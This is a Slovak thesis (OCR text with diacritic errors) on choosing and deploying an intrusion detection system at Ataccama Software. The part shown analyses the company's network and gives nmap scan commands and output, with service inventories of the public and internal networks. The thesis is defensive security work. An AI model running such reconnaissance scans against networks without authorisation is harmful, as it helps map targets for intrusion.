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Abstrakt

Tato praca sa zaoberd nasadenim intrusion detection systému do infrastruktary
firmy Ataccama Software, s.r.o. Najprv je predstaveny sucasny stav firemnej
infrastruktury, ktord je podrobne analyzované z bezpe¢nostného hladiska.

Nasleduje stru¢ny ivod do problematiky IDS a definovanie kritérii pre vy-
ber. Zaroven st popisané a nainstalované tri IDS implementacie, ktoré budua
neskor porovnané.

ﬁalej je pripravené testovacie prostredie, ktoré obsahuje zranitelné sluzby
z analyzy. Na tieto sluzby st vykonané utoky, ktoré sa nahraju do pcap
stiborov. Tieto a dalsie vybrané pcap stibory st ndsledne analyzované IDS
implementaciami. Kazdy IDS je potom ohodnoteny podla toho, ¢ dokdzal
spravne vyhodnotit dant situéciu.

Na zéklade vysledkov tychto testov a podla definovanych kritérii st IDS
porovnané a najlepSie z nich je na zaver nasadené do infrastruktary firmy.

Klicova slova IDS, NIDS, poéitadova bezpeénost, analyza sietovej prevadz-
ky, pcap, nmap, Metasploit, Snort, Suricata, Zeek, Bro
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Abstract

The purpose of this thesis is deployment of intrusion detecion system to Atac-
cama Software’s enterprise infrastructure. Initially, the current state of the
enterprise infrastructure from security perspective is presented in a detailed
analysis.

Next is a brief introduction to IDS and rules for the selection among them
are specified, followed by description and installation of three IDS implemen-
tations, which are to be compared later.

Then, a testing environment containing vulnerable services according to
the analysis is prepared. Network attacks on the services are performed and
recorded to pcap files. These and some other pcaps are then analysed by the
IDS implementations. Each of them is assigned a score, which reflects their
ability to correctly evaluate the situation.

Finally, the IDS implementations are compared based on the results of the
tests and following the defined rules. The best one is then deployed to the
enterprise infrastructure.

Keywords IDS, NIDS, cyber security, network traffic analysis, pcap, nmap,
Metasploit, Snort, Suricata, Zeek, Bro
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Uvod

S enormnym rozvojom informaénych technolégii je potrebné neustéle drzaf
krok, aby bolo moZné naplno vyuzivat jeho vyhody. Typickou ukéZkou tohto
posunu, napriklad v oblasti hardvéru, je Moorov zakon (angl. Moore’s law).
Toto pozorovanie, ktorého autorom je Gordon Moore, spoluzakladatel spoloc-
nosti Intel, hovori, Ze kazdé dva roky sa pocet tranzistorov na cipe zdvojndsobi,
pricom cena sa zniZi o polovicu' [1]. Podobny rozvoj je mozné sledovat aj
v inych oblastiach informatiky, akymi st napriklad programovacie jazyky, da-
tabdze, pocitacova bezpetnost alebo poéitacové siete. Prave posledné dve spo-
menuté oblasti budt hlavnymi témami tejto préce.

Takisto sa za posledné roky znacCne rozrastla aj firma Ataccama Soft-
ware s.r.0.2, ktord je zadavatelom tejto price. T4 sa z malého podniku za-
radila do kategérie strednych podnikov. V priebehu ¢asu rychlo stiipol nielen
pocet zamestnancov 0.1, ale aj pocet zdkaznikov a rozsirilo sa aj portfélio
pontikanych produktov, a sluZieb. Pre podporu predaja a v zadujme dalSieho
rastu firma expandovala aj v zahranic¢i, a pribudli nové pobocky po celom
svete. Od tohto bodu sa do tvahy berie prazskd pobocka firmy, ak nie je
explicitne vyjadrené inak.

Tato zmena tak so sebou priniesla viacero novych veci a niektoré z nich tu
budt v struc¢nosti popisané. Ci wz je to ndkup pocitacov a mobilnych zaria-
deni pre novych zamestnancov, ale aj nakup nového hardvéru do serverovne.
Pribudli nové siefové zariadenia, prepinace, smerovace, bezdrotové pristupové
body, tlaciarne, IoT zariadenia® a takisto nové fyzické, a virtualne servery.

Toto vsetko sposobilo celkové zvysSenie poctu zariadeni v podnikovej sieti,
a z toho vyplyvajici ndrast siefovej prevadzky. Ten sa uskutocnil v oboch

'Dokaz sa nachddza napriklad tu: https://www.karlrupp.net/2018/02/42-years-of-
microprocessor-trend-data/

*https://www.ataccama.com

3Internet of Things (skratene IoT) zariadenia, sii ,, prosté“ zariadenia, ktoré v minulosti
neumoziovali pripojenie k internetu, ale vd'aka tomu dnes ziskavaji novi funkcionalitu a
moznosti. Prikladom moézu byt televizory, autd alebo osvetlenie.


https://www.karlrupp.net/2018/02/42-years-of-microprocessor-trend-data/
https://www.karlrupp.net/2018/02/42-years-of-microprocessor-trend-data/
https://www.ataccama.com
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Obr. 0.1: Vyvoj poc¢tu zamestnancov v ¢ase.

logickych castiach siete; v rdmci lokalnej podnikovej siete (tzv. intranet), ale
aj smerom ,, von“, teda do a z internetu. S vy$$im poétom uzivatelov a zariadeni
prirodzene prichddza aj zvysenie bezpecnostnych hrozieb, a rizik.

Preto bolo nutné vykonat zmeny v infrastruktire, ale aj v oblasti sieti a
bezpecnosti tak, aby sa tymto hrozbam tspesne predchadzalo, a rizika sa ¢o
najviac znizili, v idedlnom pripade tplne eliminovali. Hlavnym tsilim v dosia-
hnuti tychto zmien bolo preskiimanie a vyhodnotenie siefovej architektiry
vratane vsetkych bezpeCnostnych systémov, a opatreni, ktoré sa vo firme
vyuzivali alebo este stale vyuzivaji. Téato ¢innost uz bola vykonand a pri-
niesla so sebou viacero skuto¢nosti, z ktorych uz boli vsetky okrem jednej
implementované.

Segmentacia siete

V prvom rade sa jednalo o celkovi restrukturalizaciu architektiry intranetu,
k ¢omu prispel aj fakt, ze stavajici adresny priestor sa neustale zmensoval.
Bolo vytvorenych viacero novych podsieti, ktoré zaroven tvoria bezpecnostné
segmenty s roznymi Uroviiami zabezpecCenia a obmedzenia pristupu do nich.
Tato technika siefového navrhu sa nazyva segmentdcia siete (angl. network
segmentation). Ukazku takejto siete zachytava obrazok 0.2, podrobnejsie je
popisand napriklad tu [2] a prindsa viacero vyhod. Konkrétne sa jedné o spo-
malenie postupu ttoénika medzi jednotlivymi segmentami v pripade ispesného
preniknutia do niektorého z nich, zredukovanie dopadov uspesnych tutokov
tym, Ze nie je vietko pristupné v rdmci jednej siete, silnejsia datova bezpecénost



Obr. 0.2: Priklad segmentécie siete pomocou VLAN. Kazdd VLANa moze ob-
sahovat zariadenia nachddzajtce sa v roznych fyzickych siefach a reprezentuje
jeden segment. Obrazok prevzaty z: [4].

vd'aka oddeleniu citlivych dit a zjednoduSenie implementécie principu najniz-
sieho privilégia (angl. principle of least privilege) [3]. Tym sa efektivne zaviedla
kontrola pristupu (angl. access control), a tak md kazdy uzivatel siete, ¢i uz
sa jednd o zamestnanca alebo navstevnika, pristup prave do podsiete, ktori
potrebuje a nikde inde.

Firewall

f)alej iSlo o nahradenie stavajiceho hlavného firewallu, ¢o je bezpecénostné
zariadenie, ktoré filtruje vstupni a vystupnu siefovi prevadzku na zaklade
definovanych pravidiel. Tieto pravidlad definuje siefovy administrator. Fire-

3
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wall je prvd linia obrany v siefovej bezpecnosti uZ vyse 25 rokov. Zriaduje
bariéru medzi zabezpecenymi a kontrolovanymi internymi siefami, ktorym sa
dd déverovat, a nedoveryhodnymi vonkajsimi siefami, akou je napriklad in-
ternet [5]. Tento firewall bol nahradeny dvomi novymi, ktoré st vzajomne
redundantné. To znamend, zZe sa pri necakanom vypadku jedného z nich ne-
prerusi siefova prevadzka vo firme, ako by tomu bolo v pripade, Ze by bol iba
jeden. Taktiez sa vykonala reorganizécia firewallovych pravidiel s ohladom
na novu architektiru intranetu.

VPN

Predposlednou zmenou bolo nasadenie novej VPNky. T4 umoznuje vzdialeny
a zabezpeceny pristup do intranetu firmy, ktory je inak nedostupny, aj zo za-
riadeni, ktoré sa nachddzaju vo verejnych siefach (internet). Typicky sa jedna
o zamestnancov na sluzobnych cestiach alebo pracujicich z domova, ktori po-
trebuju pristup k zariadeniam v intranete. Tiez sa pouziva ako Site-to-Site
VPN, ¢o je permanentné prepojenie dvoch internetom oddelenych firemnych
sieti pomocou VPN.

IDS

Posledn4 z tychto zmien sa vSak eSte neuskutoé¢nila a bude cielom tejto prace.
Jednd sa o vyber a nasadenie Intrusion Detection Systému (skratene IDS)
v popisanom firemnom prostredi.



KAPITOLA 1

BezpecCnostna analyza
infrastruktary firmy

Ako uz bolo spomenuté na strane 4, posledné vec, ktort je potrebné spravit
na zaistenie lepsieho zabezpecenia rozrastajicej sa firemnej siete, je nasadenie
vhodného IDS riesenia.

To si véak vyzaduje primeranti analyzu tohto prostredia z pohladu tito¢nika,
proti ktorému mé tento systém priméarne sliZit, a ktorého aktivitu by mal byt
schopny detekovat. Na zaklade tejto analyzy budd ndsledne vytvorené pe-
netracné testovacie sady ttokov, ktoré budd simulovat titoky na roézne sluzby
a aplikdcie nachddzajice sa vo firemnej sieti. Tato analjza moze tiez odhalit
potenciondlne diery v bezpecnosti firmy, ¢o umozni ich odstranenie a eliminuje
riziko ich zneuzitia tto¢nikom.

Prirodzene sa ako prvéa podrobi tejto analyze verejnd siet podniku vidi-
telnd z internetu. T4 je vSak relativne velkd, ked'Ze ¢ast z nej sa nachddza
aj u cloudovych poskytovatelov infrastruktiry, akym je napriklad spolo¢nost
Amazon? so svojou sluzbou Amazon Web Services®. Tato préca je vSak zame-
rand na prazsku pobocku firmy, ako uz bolo spomenuté v ivode, a preto bude
uvaZovand len tdto verejnd Cast firemnej siete.

Uto¢nici viak nemusia tto¢if vyhradne cez internet, ale m6zu réznymi
sposobmi preniknitf aj do intranetu. Napriklad pomocou socidlneho inzinier-
stva®, chvilky nepozornosti alebo sa méze jednat o samotnych zamestnancov.
7 rozsiahleho prieskumu [7] vykonaného spolo¢nostou Cybersecurity Insiders’,
ktory sa zaoberal vnitornymi hrozbami (angl. insider threats) vyplyva, ze az

‘https://www.amazon.com/

Shttps://aws.amazon.com/

5Socislne inzinierstvo je akt prelomenia informaénej bezpe¢nosti pomocou psycholdgie a
manipuldcie s Tudmi tak, aby prezradili déverné informécie alebo umoznili pristup do verej-
nosti nepristupnej oblasti. Tak ziska nepovolany socidlny inzinier pristup k zabezpecenym
zdrojom a informécidm. PodrobnejSie su tato technika a jej dosledky popisané tu [6].

"https://www.cybersecurity-insiders.com/


https://www.amazon.com/
https://aws.amazon.com/
https://www.cybersecurity-insiders.com/
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90% organizacii sa povazuje za zranitelnych voci tomuto typu hrozby a az
53% vacsina tychto organizacii potvrdila, Ze bol tento typ utoku proti nim
uskutocéneny za posledny rok. Z tychto dévodov bude analyze podrobena aj
vnutorna firemn4 siet.

Pred samotnou analyzou je vSak dolezité vysvetlif niekolko hlavnych poj-
mov, ktoré sa budt v tejto praci pouzivat, a na ktoré sa bude pocas prace
odkazovat.

OSI siefovy model

KedZe sa tato praca zaoberd prevazne pocitatovymi siefami, a s nimi spo-
jenymi technolégiami, bude dobré si pripomenut referen¢ny sietovy model
OSI® vytvoreny organizaciou ISO, aby bolo mozné presne kategorizovat prebe-
rané protokoly. Ten pozostava zo siedmich vrstiev, do ktorych sa delia jednot-
livé protokoly. Cely model aj s dodatocnym popisom pekne ilustruje obrézok
1.1. Téma OSI a celkovo sieti je podrobnejsie vysvetlena napriklad v tejto
knihe [8].

Program nmap

Network Mapper, zndmy skor pod svojim skratenym nazvom nmap?, je siefovy
nastroj s otvorenym zdrojovym kédom napisany prevazne v jazykoch C a C++.
Odosielanim parametrizovanych paketov na roéznych vrstvach ISO/OSI mo-
delu a analyzou ich odpovedi dokdze zistif uZitoéné informécie. VyuZiva sa
predovsetkym na mapovanie siete, objavovanie hostov, skenovanie portov,
urcovanie beziacich sluzieb, opera¢nych systémov a ich verzii. Okrem toho
dokéZe aj mnozstvo dalsich veci, ktoré st detailnejSie popisané v manudlovej
stranke programu [10]. Vd'aka tymto informédcidm je mozné pomocou tohto
nastroja odhalit bezpefnostné diery, ¢o vyuzivaji administratori, penetrac¢ni
testeri, ale aj Utocnici. V tejto praci bude pouzity na zmapovanie firemnej
siete z pohladu titoénika.

Vseobecny zapis prikazu nmap podla manudlovej stranky [10] vyzerd na-
sledovne:

nmap [Scan Type...] [Options] {target specification}

Scan Type Je skupina parametrov, ktora uréuje typ, intenzitu, sposob a d'alsie
vlastnosti skenovania. Napriklad sa d4 nastavif objavovanie zariadeni
v sieti bez alebo so skenovanim portov, zapnutie a vypnutie DNS pre-
kladu cielov, rézne techniky skenovania ako napriklad ICMP, TCP alebo

8Open Systems Interconnection. Niekedy tiez zvany ISO/OSI model.
“https://nmap.org/


https://nmap.org/
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1. BEZPECNOSTNA ANALYZA INFRASTRUKTURY FIRMY

UDP skeny, specifikdcia konkrétnych portov a poradie ich skenovania,
detekcia sluzieb, a ich verzii, a podobne.

Options Téato skupina parametrov urcuje dalSie vlastnosti skenovania ako
napriklad detekciu opera¢ného systému ciela, ¢asové obmedzenia, para-
metre vykonu, vyhybanie sa firewallom/IDS, spoofovanie'’, nastavenia
vstupu, vystupu a iné.

target specification Oznacluje ciel alebo ciele, na ktorych bude vykonany
sken. Mozu to byt IP adresy, DNS ndzvy, celé siete alebo ich rozsahy.
Dostupnych je viacero moznosti.

Ukéazka 1.1: Pouzitie a vystup programu nmap.

root@localhost# nmap -n --top-ports=2000 -sS -sV scanme.nmap.org

Starting Nmap 7.60 ( https://nmap.org ) at 2019-04-03 11:30 CEST

Nmap scan report for scanme.nmap.org (45.33.32.156)

Host is up (0.18s latency).

Other addresses for scanme.nmap.org (not scanned): 2600:3cO1::
£f03c:91ff:fel8:bb2f

Not shown: 1998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1pl1 Ubuntu 2ubuntu2.11 (Ubuntu
Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results
at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.00 seconds

Teraz si ukdzeme prakticky priklad pouzitia nmapu. V ukazke 1.1 je nmap
pouzity na skenovanie portov servera scanme.nmap.org. Tento server je urceny
na jeho ucenie a sktiSanie, a je spravovany vyvojarmi tohto nastroja. V ukéazke
st nastavené tieto Styri parametre:

-n vypina reverzné DNS poZiadavky na ciel. Zapnuté je to uZitoéné najmi
v neznamej sieti pri skenovani IP adries, kde nepozname DNS nazvy
hostov. Implicitne sa reverzné DNS poziadavky vykonavaji niekedy.

--top-ports=2000 skenuje v tomto pripade dvetisic Statisticky najbeznejsich
portov. Implicitnd hodnota je nastavena na tisic.

10Je technika, pri ktorej sa ttoénik vyddva za niekoho iného. Utoénik moze napriklad
spoofovat MAC adresu svojho zariadenia, aby sa tak ziskal pristup do siete, kde majd pristup
len zariadenia s definovanymi MAC adresami.
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1.1. Analyza verejnej siete

-sS vykondva TCP SYN sken na Stvrtej vrstve ISO/OSI modelu a vyuziva
pritom mechanizmus nadviazania komunikacie (angl. three way hands-
hake) v protokole TCP [11]. nmap odosle SYN paket na cielovy port za-
riadenia a v pripade, Ze od ciela obdrzi SYN/ACK paket, je dany TCP
port otvoreny. Tento sken je rychly, popularny a funguje na vsetkych
zariadeniach pouzivajicich TCP. Toto je implicitny typ skenu.

-sV zapina detekciu sluzieb a ich verzii, ktoré pocivaji na jednotlivych por-
toch. To nmap dokdZe vd'aka databdze, kde mé uloZené zndme sluzby.
Vd'aka $pecidlne vytvorenym overovacim poziadavkam, a ndslednym od-
povediam na ne dokéZe rozoznat protokol, ndzov a verziu cielovej sluzby,
ako aj typ zariadenia a rodinu opera¢ného systému.

Vystup programu je dobre &itatelny. Na trefom riadku je verzia nmapu
a Cas, kedy sa spustilo skenovanie. ﬁalej st tam informaécie o cielovom hostovi
ako DNS nézov, IP adresa a latencia. NajdoleZitejsia ¢ast vystupu je zoznam
objavenych otvorenych portov, ktory zacina na riadku osem. Z vypisu vidno,
ze boli odhalené dva porty; 22, kde poc¢tiva program OpenSSH a port 80, kde
bezi webovy server Apache httpd. TaktieZ je zjavné, Ze cielovy host pouZiva
operac¢ny systém Ubuntu z linuxovej rodiny. Nakoniec je eSte na riadku Strnést
uvedené celkové trvanie behu programu.

Tu je vhodné podotkniit, Ze kompletné a podrobné vysledky skenovania,
ako st napriklad verzie najdeného softwaru, vSetky porty, realne IP adresy,
malo zastipené sluzby a d'alsie podobné informdcie, nie st z bezpeénostnych
dovodov sticastou tejto prace. Aviak informécie, ktoré st uvedené, si skutoéné
a redlne odrazaju stav firemnej infrastruktiry. Tento fakt nemé na samotni
pracu ziadny negativny dopad, pretoze uvedené informacie st pre ucely prace
plne dostacujtce.

1.1 Analyza verejnej siete

Tato analyza bola vykonana spustenim vhodne parametrizovaného programu
nmap z internetu na verejny rozsah IP adries pridelenych firme. Prikaz pre TCP

sken vyzeral nasledovne!!:

nmap -n --top-ports=2000 -sS -sV 1.2.3.4/28

Vyznam jednotlivych parametrov prikazu bol vysvetleny v ukézke 1.1.
Celkovo bolo zistenych sedem beziacich hostov z rozsahu Sestnéstich TP adries
a sken trval 775 sekiind. UDP sken bol skoro 35-krat pomalsi a to aj napriek
tomu, ze skenoval len polovicu portov. Vysvetlenie tohto spravania spocéiva
v architektire samotného protokolu.

117 bezpecnostnych dévodov s uvedené IP adresy iba ilustracné.
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Na rozdiel od TCP je UDP bezstavovy protokol a vd'aka tomu nepotrebuje
ziadny mechanizmus nadviazania komunikécie. Z tohto dévodu nie je mozné
zistit rozdiel medzi otvorenym portom, na ktorom program prijma pakety
bez odpovede, otvorenym portom, na ktorom firewall zahadzuje prichadzajice
pakety a tym, ze sa pakety kvoli zahlteniu siete stratia v prenose. Rovnako
nie je mozné zistit rozdiel medzi zatvorenym portom, firewallovanym portom,
stratenym paketom v prenose a limitovanim ICMP odpovedi.

Preto jediny sposob, ako detekovat otvoreny port, je prijatim UDP od-
povede alebo ICMP spravy od hosta. Navyse, aby sa eliminovali moznosti
limitovania ICMP odpovedi a stratenych paketov, je potrebné poslat niekolko
paketov za sebou, neZ sa dany port bude povaZovat za zatvoreny. Pre UDP
sken vyzeral prikaz takto:

nmap -n --max-rtt-timeout 50ms --max-retries 3
--max-scan-delay 10ms --min-hostgroup 6 -sU -sV 1.2.3.4/28

7Z vyssie uvedenych dévodov bol nmap parametrizovany podla odportcani
z [12], aby jeho vykondvanie netrvalo neprimerane dlho. Nevyhodou tohto
pristupu st menej presné vysledky skenovania. To v tomto pripade nepred-
stavuje problém, kedze nasim cielom je zmapovat sief a zistif najcastejsie
pouzivané protokoly a sluzby. Vyznam jednotlivych parametrov je nasledujtci:

--max-rtt-timeout Tento parameter nastavuje, ako dlho bude nmap cakat
na odpoved. Dobrym odhadom pre jeho hodnotu je dizka cesty paketu
k cielovému hostovi a naspitf. To je mozné zistit napriklad pomocou
programu ping, ktory odosiela ICMP!? pakety typu ECHO_REQUEST a me-
ria ¢as od ich odoslania do prichodu odpovede ECHO_REPLY.

--max-retries Urcéuje, kolko krat sa bude poZiadavka znovu posielat na cielo-
vy port, kym sa prejde na d’al3i. Pri spolahlivej sieti sa moZe nastavit
velmi mal4 hodnota, dokonca nula.

--max-scan-delay TAato hodnota definuje dizku prestavky medzi odoslanim
jednotlivych poziadaviek.

--min-hostgroup Nastavuje velkost skupiny cielovych hostov, ktorym sa bu-
dt poziadavky odosielat paralelne. Cim je skupina vécsia, tym je odosie-
lanie efektivnejsie, avsak za cenu priebeznych vysledkov. Tie sa zobrazia
az po preskenovani celej skupiny.

-sU Nastavuje typ skenu na UDP.

12Protokol tretej vrstvy ISO/OSI modelu.
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1.1. Analyza verejnej siete

Tabulka 1.1: Prehlad opera¢énych systémov vo verejnej sieti.

’ Operacny systém \ Pocet \ Podiel ‘

Cisco 4 57%
Linux 2 29%
N/A 1 14%

Tabulka 1.2: Prehlad TCP sluZieb vo verejnej sieti.

] Sluzba ‘ Softvér Porty
ssh OpenSSH 22
ssl/http | Apache httpd 80, 443
ssl/http | nginx 80, 443
ssl/http | Apache Tomcat/Coyote JSP | 443
ssl/http | Jetty 8800

Tabulka 1.3: Prehlad UDP sluZieb vo verejnej sieti.

’ Sluzba \ Softvér \ Porty \ Pocet ‘
ntp NTP 123 1
snmp Cisco SNMP service 161 3
isakmp | Cisco VPN Concentrator | 500 1

Vysledky oboch skenov st prehladne rozdelené do troch ¢asti. Tabulka 1.1
zachytdva distribiciu opera¢nych systémov na hostoch, ktori boli online.

V styroch pripadoch sa jedna o zariadenia s opera¢nym systémom od spolo¢-
nosti Cisco Systems!3, a teda ide o nejaké typy siefovych prvkov. Najpravde-
podobnejsie moznosti st smerovac, firewall a VPN sever, ktoré zvycajne spro-
stredkovavaji komunikéciu medzi dvomi sietami. Dalej sa tam nachddzaja
dve zariadenia, na ktorych bezi linuxovy kernel a jeden operaény systém ne-
bol rozpoznany kvoli nedostatoénému mnozstvu informaécii.

Tabulka 1.2 ukazuje detekované TCP porty s prislusnymi sluzbami a softvé-
rom, ktory ich poskytuje. Nachddza sa tam sluzba ssh pre vzdialeny pristup
k systému a zvySok si webové, pripadne proxy, servery komunikujtce ap-
likaénym protokolom http a https. Podobny sihrn je aj v tabulke 1.3 pre UDP
sluzby. Z nich je zastipeny protokol ntp pouzivany na synchronizaciu ¢asu
medzi hostami v sieti a snmp protokol urceny na monitorovanie a spravovanie
zariadeni po sieti. Nakoniec je tam isakmp protokol zabezpecujici autenti-
fikdciu a vymenu klti¢ov po internete, na ¢o nadvizuje VPN funkcionalita.

Y3https://www.cisco.com/
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1.2 Analyza internej siete

Téato analyza prebiehala rovnakym spésobom ako verejnd, iba s mensimi ipra-
vami. Prvou je prirodzene zmena skenovaného rozsahu IP adries na lokalnu
sief. T4 je radovo vicsia a s maskou 255.255.255.0 obsahuje aZ 256 IP ad-
ries. Prikaz pre TCP sken bol rovnaky, objavil 95 aktivnych zariadeni a jeho
vykonanie trvalo az 15741 sekind, ¢o je takmer Styri a pol hodiny. Z tohto
dovodu bol UDP sken upraveny nasledovne:

nmap -n -F --max-rtt-timeout 20ms --max-retries 3
--max-scan-delay 10ms --min-hostgroup 32 -sU -sV 10.0.0.0/24

Kde parameter -F sluzi ako skratend verzia parametra --top-ports na-
staveného na hodnotu 100. To je v tomto pripade dostacujtce, kedze UDP
nie je tak dominantny ako TCP a cielom je zistit najcastejsie sluzby. Napriek
tomu tento sken trval 17611 sektnd, ¢o je o vySe polhodinu viac nez trvanie
TCP skenu.

V grafe 1.2 je zobrazené rozdelenie opera¢nych systémov v internej sieti.
Dominantnt vié§inu tvoria linuxové stroje nasledované OS Windows'* od spo-
lo¢nosti Microsoft!?. ﬁalej je tu zastipeny OS urceny na virtualizaciu od spo-
lo¢nosti VMware!'6 zvany ESXi'” a nakoniec st tu tri zariadenia od Cisca,
a jedno od spolo¢nosti Apple!® s OS X.

Najcastejsie mapované porty a k nim patriace TCP ¢i UDP sluzby, a pro-
tokoly st zhrnuté v grafoch 1.3 a 1.4. Na osi Y je zobrazeny pocet vyskytov.
Jednoznacne tu vedie protokol ssh. Je tam aj mnozstvo webovych programov
komunikujiicich pomocou protokolov http a https. Databaza PostgreSQL
komunikuje rovnomennym protokolom po sieti. Protokol rpcbind, ktory je
uréeny na mapovanie sluzieb ku portom nachadzajicim sa na danom zaria-
deni [13], je UNIXovy ekvivalent sluzby msrpc od Microsoftu. Bezi taktiez
na rovnakom UDP porte, ako vidno v grafe 1.4. Dals{ protokol vnc je tak-
tiez UNIXovy ekvivalent msrdp od Microsoftu, ktory zabezpecuje vzdialené
grafické pripojenie k zariadeniu.

Servery s OS Windows pouzivaju celt radu protokolov, ktoré so sebou
navzajom suvisia a dopiﬁajfl sa. NetBIOS poskytuje tri sluzby, z ktorych
sa v sieti nachddza nebios-ssn, zabezpecuje nadviazanie spojenia a komu-
nikaciu s detekciou a opravu chyb. To vyuziva protokol smb uréeny na zdielanie
stiborov a filesystému po sieti [14]. Sluzba Microsoft Terminal Service tiez
znama ako Microsoft Remote Desktop Protocol (msrdp) umoznuje vzdialeny
pristup ku poéitacu s grafickym rozhranim [15]. ]v)alej sa tam nachédza sluzba

Yphttps://wuw.microsoft.com/windows
https://www.microsoft.com
Yhttps://wuw.vmware.com/
"https://wuw.vmware.com/products/esxi-and-esx.html
®https://www.apple.com/
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1.2. Analyza internej siete

msrpc na vzdialené vykonavanie funkeii [16], replikdciu a mapovanie sluzieb
[17]. Ako poslednd od Microsoftu, sluzba microsoft-ds poskytuje zdielanie
stiborov (smb), replikdciu, autentifikaciu a group policies [16].

Z UDP sluzieb sa tu okrem rpcbind nachddzaji aj snmp a ntp, ktoré
boli popisané v analyze verejnej siete. f)alej je tu sluzba svrloc, ktord po-
skytuje flexibilné a skdlovatelné rozhranie poskytujice hostom pristup k in-
formdcidm o existencii, lokdcii a konfigurdcii siefovijch sluZieb [18]. Protokol
nfs umoznuje podobne ako smb distribiiciu stborov a filesystému po sieti
a cez internet. Protokol mdns zabezpecCuje multicast DNS sluzbu v lokalnej
sieti, bez potreby existencie centralneho DNS servera a bez zlozitejsej konfi-
guracie [19]. Nakoniec asf-rmcp umoziiuje spravovat zariadenia s minimalnou
potrebou konfiguracie a administracie tak, aby sa maximalizoval vykon a do-
stupnost [20].

13
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Obr. 1.2: Prehlad operaénych systémov v internej sieti.
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KAPITOLA 2

Vyber a instalacia IDS

V tejto kapitole bude podrobne popisany vyber moznych kandidatov na IDS
rieSenie. Zaroven budu vlastnosti a instalaény proces kazdého kandidata pred-
stavené detailnejsie, vd'aka ¢omu sa vytvori zdklad pre ich porovnanie. Najiis-
pesnejsie z nich bude neskor v praci nasadené vo firemnej infrastruktuire.
Predtym je vSak potrebné blizsie predstavit pojem IDS, rozne varianty a ich
vlastnosti.

2.1 Definicia

Intrusion Detection Systém je siefové bezpetnostné zariadenie alebo softvér,
ktorého hlavnou tlohou, ako uz bolo ¢iastoéne naznacené, je live monitorovanie
a hlbsia analyza siefovej prevadzky alebo systému. Vysledkom tohto procesu
je detekcia podozrivych, nezvyéajnych a nebezpeénych aktivit v cielovej sieti
alebo systéme. Nésledne st tieto zistenia zapisané do logu a tiez su zaslané
upozornenia zodpovednej osobe na preverenie. T4 sa rozhodne, ¢i vykona opat-
renia na zastavenie tychto aktivit, napriklad dpravou firewallovych pravidiel
na docasné zablokovanie podozrivych IP adries.

V stcasnosti existuje celd rada IDS implementécii a je mozné ich rozdelit
do viacerych kategérii podla ich spoloénych vlastnosti. Na zdklade objektu,
na ktorom je analyza vykondvana je mozné rozdelit tieto systémy do nasle-
dujtcich skupin [21]:

e Host-based Intrusion Detection System (HIDS)
e Network-based Intrusion Detection System (NIDS)

ﬁalej sa daju IDS rozélenit podla metdd, ktoré pouZivaji na detekciu
podozrivych aktivit. Tu je potrebné podotknit, ze v sicastnosti uz vicsina
IDS vyuziva kombinaciu oboch tychto pristupov:

e Signature-based Intrusion Detection System

17



2. VYBER A INSTALACIA IDS

¢ Anomaly-based Intrusion Detection System

Teraz budu tieto kategérie podrobnejsie popisané a taktiez bude vysvet-
lenych niekolko d'alsich vlastnosti IDS.

2.1.1 Porovnanie IDS s Firewallom

Na prvy pohlad sa moze zdat, Ze IDS a firewall, popisany na strane 3, zohravaji
v siefovej bezpecnosti rovnakt tlohu. Toto tvrdenie vSak nie je pravdivé
a v skutocCnosti sa vzajomne efektivne dopiﬁajﬁ.

Firewall pracuje ako preventivne opatrenie proti siefovym titokom ,, zvonku*
a brani ich vykonaniu tym, Ze pasivne obmedzuje prevddzku medzi siefami.
Nijakym spésobom vsSak neobmedzuje dianie v intranete.

IDS naopak kontroluje aj vnttornt sief a tiez aktivne reaguje na aktudlne
dianie v sieti vdaka svojim live detekénym algoritmom, pricom v pripade po-
treby spusti alarm. Niektoré pokro¢ilejsie IDS dokonca dok4zu priamo zabranit
vykonavaniu podozrivych aktivit upravenim pravidiel vo firewalle.

2.1.2 HIDS

Host-based IDS vykonava detekciu nad jednym systémom pripojenym do siete
(angl. host), napriklad pocitacom alebo serverom. Monitoruje oba smery sie-
tovej prevadzky zariadenia, teda prichddzajice aj odchddzajice pakety. Dovod
je ten, Ze z infikovaného zariadenia sa virus moze pokusat dalej §iritf po sieti,
a vdaka monitorovaniu odchédzajicej komunikacie je HIDS schopny toto
spravanie detekovat.

Taktiez sleduje stav a zmeny dolezitych siborov v systéme ako st napriklad
logy, konfigurcie, Windows registry a rootovsky pristup na UNIX-like!? sys-
témoch. Na zéklade toho vie identifikovat neopravnenii manipuldciu s nimi.
V pripade detekovania podozrivého spravania odosle upozornenie systémové-
mu administratorovi. HIDS dokazZe zdlohovat dolezité systémové stibory, aby
ich bolo mozné obnovit v pripade napadnutia systému.

2.1.3 NIDS

Network-based IDS vykonava detekciu nad prevadzkou vsetkych zariadeni
v celej podsieti. Zvycajne sa umiestnuje na strategické body v sieti, napriklad
na rozhranie dvoch podsieti alebo na rozhranie medzi internetom a intrane-
tom. Umiestnuje sa teda do rovnakych miest ako firewall. Podobne ako HIDS
monitoruje oba smery siefovej prevadzky a upozornenia posiela siefovému
administratorovi.

19 Je to mnozina operaénych systémov, ktoré vychadzaji z filozofie UNIXu. Prikladom st
Linuxové distribtcie, rodina BSD a Mac OS X.
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2.1. Definicia

NIDS engine moze navySe vyuzivat neurénové siete a umeld inteligen-
ciu na zrychlenie a spresnenie analyzy. Samouciace algoritmy zas umoznuju
zlepsovat detekciu podozrivych aktivit a neopakovat chyby v budicnosti.

KedZe NIDS monitoruje komunikiciu zo vSetkych zariadeni v sieti, je
mnozstvo paketov vyrazne vyssie v porovnani s HIDS. Z tohto dévodu nie je
vzdy moZné vykondvat kompletnt analyzu vsetkych paketov. Preto je k dis-
pozicii selektivne vykonavanie analyzy. To je zvycajne riadené podla pravidiel,
ktoré definuje administrator, alebo odporuca vyvojar daného systému. Tiez sa
z dovodu vécsieho mnozstva dat umiestiiuje NIDS spravidla na dedikovany?”
hardvér so silnym vypoc¢tovym vyknom.

2.1.4 Signature-based IDS

Tento typ IDS vyuziva na detekciu podozrivych paketov databazu vzorov
znamych tutokov. Tie st dodavané vyrobcom daného IDS. Tieto vzory, ktoré sa
zvykni nazyvat tiez podpisy (angl. signature), si napriklad bytové sekvencie
alebo rozne priznaky a IDS ich hlad4 v paketoch. V pripade, Ze sa podpisy zho-
duju je dany paket oznaceny ako podozrivy. Na podobnom principe funguji
